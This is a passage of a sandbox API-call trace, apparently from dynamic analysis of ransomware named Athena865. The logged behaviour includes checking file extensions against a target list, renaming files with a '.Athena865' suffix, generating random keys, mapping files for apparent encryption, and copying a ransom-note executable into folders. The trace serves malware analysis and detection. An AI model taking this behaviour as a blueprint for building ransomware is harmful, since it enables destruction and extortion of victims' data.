[0092.903] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1 [0092.903] lstrlenW (lpString="dlis") returned 4 [0092.903] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1 [0092.903] lstrlenW (lpString="dp1") returned 3 [0092.903] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1 [0092.903] lstrlenW (lpString="dqy") returned 3 [0092.903] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1 [0092.903] lstrlenW (lpString="dsk") returned 3 [0092.903] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1 [0092.903] lstrlenW (lpString="dsn") returned 3 [0092.903] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1 [0092.903] lstrlenW (lpString="dtsx") returned 4 [0092.903] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1 [0092.903] lstrlenW (lpString="dxl") returned 3 [0092.904] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1 [0092.904] lstrlenW (lpString="eco") returned 3 [0092.904] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1 [0092.904] lstrlenW (lpString="ecx") returned 3 [0092.904] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1 [0092.904] lstrlenW (lpString="edb") returned 3 [0092.904] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1 [0092.904] lstrlenW (lpString="epim") returned 4 [0092.904] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1 [0092.904] lstrlenW (lpString="fcd") returned 3 [0092.904] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1 [0092.904] lstrlenW (lpString="fdb") returned 3 [0092.904] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1 [0092.904] lstrlenW (lpString="fic") returned 3 [0092.904] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1 [0092.904] lstrlenW (lpString="flexolibrary") returned 12 [0092.904] lstrlenW (lpString="fm5") returned 3 [0092.904] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1 [0092.904] lstrlenW (lpString="fmp") returned 3 [0092.904] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1 [0092.904] lstrlenW (lpString="fmp12") returned 5 [0092.904] lstrcmpiW (lpString1="n.bmp", lpString2="fmp12") returned 1 [0092.904] lstrlenW (lpString="fmpsl") returned 5 [0092.904] lstrcmpiW (lpString1="n.bmp", lpString2="fmpsl") returned 1 [0092.904] lstrlenW (lpString="fol") returned 3 [0092.904] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1 [0092.904] lstrlenW (lpString="fp3") returned 3 [0092.904] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1 [0092.904] lstrlenW (lpString="fp4") returned 3 [0092.904] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1 [0092.904] lstrlenW (lpString="fp5") returned 3 [0092.905] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1 [0092.905] lstrlenW (lpString="fp7") returned 3 [0092.905] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1 [0092.905] lstrlenW (lpString="fpt") returned 3 [0092.905] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1 [0092.905] lstrlenW (lpString="frm") returned 3 [0092.905] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1 [0092.905] lstrlenW (lpString="gdb") returned 3 [0092.905] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1 [0092.905] lstrlenW (lpString="gdb") returned 3 [0092.905] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1 [0092.905] lstrlenW (lpString="grdb") returned 4 [0092.905] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1 [0092.905] lstrlenW (lpString="gwi") returned 3 [0092.905] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1 [0092.905] lstrlenW (lpString="hdb") returned 3 [0092.905] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1 [0092.905] lstrlenW (lpString="his") returned 3 [0092.905] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1 [0092.905] lstrlenW (lpString="ib") returned 2 [0092.905] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1 [0092.905] lstrlenW (lpString="idb") returned 3 [0092.905] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1 [0092.905] lstrlenW (lpString="ihx") returned 3 [0092.905] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1 [0092.905] lstrlenW (lpString="itdb") returned 4 [0092.905] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1 [0092.905] lstrlenW (lpString="itw") returned 3 [0092.905] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1 [0092.905] lstrlenW (lpString="jet") returned 3 [0092.905] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1 [0092.906] lstrlenW (lpString="jtx") returned 3 [0092.906] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1 [0092.906] lstrlenW (lpString="kdb") returned 3 [0092.906] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1 [0092.906] lstrlenW (lpString="kexi") returned 4 [0092.906] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1 [0092.906] lstrlenW (lpString="kexic") returned 5 [0092.906] lstrcmpiW (lpString1="n.bmp", lpString2="kexic") returned 1 [0092.906] lstrlenW (lpString="kexis") returned 5 [0092.906] lstrcmpiW (lpString1="n.bmp", lpString2="kexis") returned 1 [0092.906] lstrlenW (lpString="lgc") returned 3 [0092.906] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1 [0092.906] lstrlenW (lpString="lwx") returned 3 [0092.906] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1 [0092.906] lstrlenW (lpString="maf") returned 3 [0092.906] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1 [0092.906] lstrlenW (lpString="maq") returned 3 [0092.906] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1 [0092.906] lstrlenW (lpString="mar") returned 3 [0092.906] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1 [0092.906] lstrlenW (lpString="marshal") returned 7 [0092.906] lstrcmpiW (lpString1="ign.bmp", lpString2="marshal") returned -1 [0092.906] lstrlenW (lpString="mas") returned 3 [0092.906] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1 [0092.906] lstrlenW (lpString="mav") returned 3 [0092.906] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1 [0092.906] lstrlenW (lpString="maw") returned 3 [0092.906] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1 [0092.906] lstrlenW (lpString="mdbhtml") returned 7 [0092.906] lstrcmpiW (lpString1="ign.bmp", lpString2="mdbhtml") returned -1 [0092.906] lstrlenW (lpString="mdn") returned 3 [0092.907] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1 [0092.907] lstrlenW (lpString="mdt") returned 3 [0092.907] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1 [0092.907] lstrlenW (lpString="mfd") returned 3 [0092.907] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1 [0092.907] lstrlenW (lpString="mpd") returned 3 [0092.907] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1 [0092.907] lstrlenW (lpString="mrg") returned 3 [0092.907] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1 [0092.907] lstrlenW (lpString="mud") returned 3 [0092.907] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1 [0092.907] lstrlenW (lpString="mwb") returned 3 [0092.907] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1 [0092.907] lstrlenW (lpString="myd") returned 3 [0092.907] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1 [0092.907] lstrlenW (lpString="ndf") returned 3 [0092.907] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1 [0092.907] lstrlenW (lpString="nnt") returned 3 [0092.907] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1 [0092.907] lstrlenW (lpString="nrmlib") returned 6 [0092.907] lstrcmpiW (lpString1="gn.bmp", lpString2="nrmlib") returned -1 [0092.907] lstrlenW (lpString="ns2") returned 3 [0092.907] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1 [0092.907] lstrlenW (lpString="ns3") returned 3 [0092.907] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1 [0092.907] lstrlenW (lpString="ns4") returned 3 [0092.907] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1 [0092.907] lstrlenW (lpString="nsf") returned 3 [0092.907] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1 [0092.907] lstrlenW (lpString="nv") returned 2 [0092.908] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1 [0092.908] lstrlenW (lpString="nv2") returned 3 [0092.908] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1 [0092.908] lstrlenW (lpString="nwdb") returned 4 [0092.908] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1 [0092.908] lstrlenW (lpString="nyf") returned 3 [0092.908] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1 [0092.908] lstrlenW (lpString="odb") returned 3 [0092.908] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1 [0092.908] lstrlenW (lpString="odb") returned 3 [0092.908] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1 [0092.908] lstrlenW (lpString="oqy") returned 3 [0092.908] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1 [0092.908] lstrlenW (lpString="ora") returned 3 [0092.908] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1 [0092.908] lstrlenW (lpString="orx") returned 3 [0092.908] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1 [0092.908] lstrlenW (lpString="owc") returned 3 [0092.908] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1 [0092.908] lstrlenW (lpString="p96") returned 3 [0092.908] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1 [0092.908] lstrlenW (lpString="p97") returned 3 [0092.908] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1 [0092.908] lstrlenW (lpString="pan") returned 3 [0092.908] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1 [0092.908] lstrlenW (lpString="pdb") returned 3 [0092.908] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1 [0092.908] lstrlenW (lpString="pdm") returned 3 [0092.908] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1 [0092.908] lstrlenW (lpString="pnz") returned 3 [0092.909] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1 [0092.909] lstrlenW (lpString="qry") returned 3 [0092.909] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1 [0092.909] lstrlenW (lpString="qvd") returned 3 [0092.909] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1 [0092.909] lstrlenW (lpString="rbf") returned 3 [0092.909] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1 [0092.909] lstrlenW (lpString="rctd") returned 4 [0092.909] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1 [0092.909] lstrlenW (lpString="rod") returned 3 [0092.909] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1 [0092.909] lstrlenW (lpString="rodx") returned 4 [0092.909] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1 [0092.909] lstrlenW (lpString="rpd") returned 3 [0092.909] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1 [0092.909] lstrlenW (lpString="rsd") returned 3 [0092.909] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1 [0092.909] lstrlenW (lpString="sas7bdat") returned 8 [0092.909] lstrcmpiW (lpString1="sign.bmp", lpString2="sas7bdat") returned 1 [0092.909] lstrlenW (lpString="sbf") returned 3 [0092.909] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1 [0092.909] lstrlenW (lpString="scx") returned 3 [0092.909] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1 [0092.909] lstrlenW (lpString="sdb") returned 3 [0092.909] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1 [0092.909] lstrlenW (lpString="sdc") returned 3 [0092.909] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1 [0092.909] lstrlenW (lpString="sdf") returned 3 [0092.909] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1 [0092.909] lstrlenW (lpString="sis") returned 3 [0092.909] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1 [0092.910] lstrlenW (lpString="spq") returned 3 [0092.910] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1 [0092.910] lstrlenW (lpString="te") returned 2 [0092.910] lstrcmpiW (lpString1="mp", lpString2="te") returned -1 [0092.910] lstrlenW (lpString="teacher") returned 7 [0092.910] lstrcmpiW (lpString1="ign.bmp", lpString2="teacher") returned -1 [0092.910] lstrlenW (lpString="tmd") returned 3 [0092.910] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1 [0092.910] lstrlenW (lpString="tps") returned 3 [0092.910] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1 [0092.910] lstrlenW (lpString="trc") returned 3 [0092.910] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1 [0092.910] lstrlenW (lpString="trc") returned 3 [0092.910] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1 [0092.910] lstrlenW (lpString="trm") returned 3 [0092.910] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1 [0092.910] lstrlenW (lpString="udb") returned 3 [0092.910] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1 [0092.910] lstrlenW (lpString="udl") returned 3 [0092.910] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1 [0092.910] lstrlenW (lpString="usr") returned 3 [0092.910] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1 [0092.910] lstrlenW (lpString="v12") returned 3 [0092.910] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1 [0092.910] lstrlenW (lpString="vis") returned 3 [0092.910] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1 [0092.910] lstrlenW (lpString="vpd") returned 3 [0092.910] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1 [0092.910] lstrlenW (lpString="vvv") returned 3 [0092.910] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1 [0092.910] lstrlenW (lpString="wdb") returned 3 [0092.911] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1 [0092.911] lstrlenW (lpString="wmdb") returned 4 [0092.911] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1 [0092.911] lstrlenW (lpString="wrk") returned 3 [0092.911] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1 [0092.911] lstrlenW (lpString="xdb") returned 3 [0092.911] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1 [0092.911] lstrlenW (lpString="xld") returned 3 [0092.911] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1 [0092.911] lstrlenW (lpString="xmlff") returned 5 [0092.911] lstrcmpiW (lpString1="n.bmp", lpString2="xmlff") returned -1 [0092.911] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp.Athena865") returned 67 [0092.911] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files (x86)\\common files\\services\\verisign.bmp"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp.Athena865" (normalized: "c:\\program files (x86)\\common files\\services\\verisign.bmp.athena865"), dwFlags=0x1) returned 1 [0092.912] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp.Athena865" (normalized: "c:\\program files (x86)\\common files\\services\\verisign.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.912] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2702) returned 1 [0092.912] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.912] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0092.912] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0092.912] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0092.913] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.913] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0092.913] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd90, lpName=0x0) returned 0x17c [0092.916] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd90) returned 0x100000 [0092.916] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0092.918] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.918] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0092.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0092.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0092.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.918] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.918] CloseHandle (hObject=0x17c) returned 1 [0092.919] CloseHandle (hObject=0x154) returned 1 [0092.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0092.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0092.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.919] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892529fc, ftCreationTime.dwHighDateTime=0x1c9ea12, ftLastAccessTime.dwLowDateTime=0x892529fc, ftLastAccessTime.dwHighDateTime=0x1c9ea12, ftLastWriteTime.dwLowDateTime=0x892529fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0092.919] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0092.919] ReleaseMutex (hMutex=0xec) returned 1 [0092.919] CloseHandle (hObject=0xec) returned 1 [0092.919] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines" [0092.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e350 | out: hHeap=0x4f0000) returned 1 [0092.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f898 | out: hHeap=0x4f0000) returned 1 [0092.919] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\SpeechEngines") returned 49 [0092.919] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\63E6F52E77AD2440360A4741F1CD2C74") returned 0xec [0092.919] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0092.919] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines" [0092.919] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0092.919] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\speechengines\\how to back your files.exe"), bFailIfExists=1) returned 0 [0092.920] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\speechengines\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0092.920] GetLastError () returned 0x0 [0092.920] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0092.920] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53cd08 [0092.920] ReadFile (in: hFile=0xf4, lpBuffer=0x53cd08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53cd08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0092.921] CloseHandle (hObject=0xf4) returned 1 [0092.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x4f0000) returned 1 [0092.921] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0092.921] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc0bcf3e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0bcf3e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0092.921] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.921] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.921] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0092.921] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc0bcf3e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0bcf3e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.921] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.921] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.922] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0092.922] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0092.922] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0bcf3e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc0bcf3e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0092.922] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0092.922] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0092.922] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.922] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.922] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0092.922] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0092.922] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0092.922] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0092.922] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0092.922] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0092.922] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0092.922] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0092.922] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0092.922] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0092.922] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0092.922] lstrlenW (lpString="Microsoft") returned 9 [0092.922] lstrcpyW (in: lpString1=0x241e8ac, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0092.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f898 [0092.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x53b220 [0092.922] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0092.922] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0092.922] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.925] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0092.925] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0092.925] ReleaseMutex (hMutex=0xec) returned 1 [0092.925] 